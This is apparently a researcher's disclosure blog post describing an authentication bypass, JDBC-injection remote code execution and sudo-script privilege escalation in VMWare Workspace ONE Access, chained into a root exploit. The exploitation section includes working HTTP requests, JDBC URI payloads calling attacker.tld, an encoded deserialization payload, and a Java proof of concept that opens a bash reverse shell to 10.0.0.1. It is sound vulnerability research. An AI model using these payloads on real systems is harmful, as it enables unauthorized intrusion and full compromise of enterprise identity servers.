VMWare Workspace ONE Access

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

  1. Cisco Identity Services Engine

    This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

  2. ForgeRock OpenAM

    This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

  3. Oracle Access Manager (OAM)

    Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

  4. VMWare Workspace ONE Access

    Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

    The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

  1. Heavy use of Spring libraries

    This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

    Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

  2. Minimal attack surface

    There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

  3. Code quality

    The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.


OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

  1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
  2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

  1. publishCaCert.hzn:

    For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

    #!/bin/sh
    
    #Script to isolate sudo access to just publishing a single file to the trusted certs directory
    
    CERTFILE=$1
    DESTFILE=$(basename $2)
    
    cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
    chmod 644 /etc/ssl/certs/$DESTFILE // 2
    c_rehash > /dev/null
    
  2. gatherConfig.hzn:

    For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

    #!/bin/bash
    #
    # Minor: Copyright 2019 VMware, Inc. All rights reserved.
    . /usr/local/horizon/scripts/hzn-bin.inc
    . /usr/local/horizon/scripts/manageTcCfg.inc
    DEBUG_FILE=$1
    
    #...
    
    function gatherConfig()
    {
        printLines
        echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
        #...
        chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
    }
    
    if [ -z "$DEBUG_FILE" ]
    then
        usage
    else
        DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
        gatherConfig
    fi
    

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

  1. First, we can grab the activationToken.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Response:

    {
     "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
     "_links": {}
    }
    
  2. Now, with the activation token let’s get the client_id and client_secret.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 168
    
    eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
    

    Response:

    {
     "client_id": "Service__OAuth2Client",
     "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
    }
    

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c [email protected]|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

  1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
  2. https://landgrey.me/blog/11/
  3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
  4. https://github.com/su18/JDBC-Attack
  5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
  6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/